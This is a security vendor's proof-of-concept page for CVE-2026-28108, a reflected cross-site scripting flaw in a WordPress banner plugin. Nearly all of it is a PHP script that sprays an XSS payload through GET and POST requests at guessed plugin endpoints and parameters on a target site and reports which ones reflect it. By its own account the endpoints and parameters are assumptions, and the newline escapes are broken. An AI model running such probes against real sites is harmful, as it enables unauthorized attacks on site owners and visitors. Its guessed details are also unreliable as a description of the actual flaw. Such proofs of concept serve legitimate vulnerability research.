CVE-2026-28108: LambertGroup – AllInOne – Banner with Thumbnails <= 3.8 – Reflected Cross-Site Scripting (all-in-one-thumbnailsBanner)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
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// computer misuse statutes. This code is provided "AS IS" without warranty
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// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28108 - LambertGroup - AllInOne - Banner with Thumbnails <= 3.8 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28108
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin likely has an AJAX endpoint at /wp-admin/admin-ajax.php
 * 2. The action parameter may contain 'all_in_one_thumbnailsBanner' or similar
 * 3. A vulnerable parameter echoes user input without escaping
 * 4. No authentication is required (PR:N in CVSS)
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX endpoints for WordPress plugins
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-content/plugins/all-in-one-thumbnailsBanner/ajax-handler.php',
    '/wp-content/plugins/all-in-one-thumbnailsBanner/banner-display.php'
];

// Potential vulnerable parameter names based on plugin functionality
$parameters = [
    'banner_id',
    'thumbnail_id',
    'banner_url',
    'custom_param',
    'id',
    'slug'
];

// XSS payload that triggers an alert for demonstration
$payload = '"><script>alert(document.domain)</script>';

foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    // Test GET parameters
    foreach ($parameters as $param) {
        $test_url = $url . '?' . $param . '=' . urlencode($payload);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $test_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code == 200 && strpos($response, $payload) !== false) {
            echo "[+] Potential vulnerability found at: $test_urln";
            echo "[+] Response contains unescaped payloadn";
        }
        
        curl_close($ch);
    }
    
    // Test POST requests with action parameter (common for AJAX)
    $post_data = [
        'action' => 'all_in_one_thumbnailsBanner_action',
        'banner_id' => $payload
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    if (strpos($response, $payload) !== false) {
        echo "[+] POST vulnerability found at: $urln";
        echo "[+] Action parameter: all_in_one_thumbnailsBanner_actionn";
    }
    
    curl_close($ch);
}

echo "[!] This PoC tests common attack vectors. Actual exploitation requiresn";
echo "    identifying the exact vulnerable endpoint and parameter.n";
?>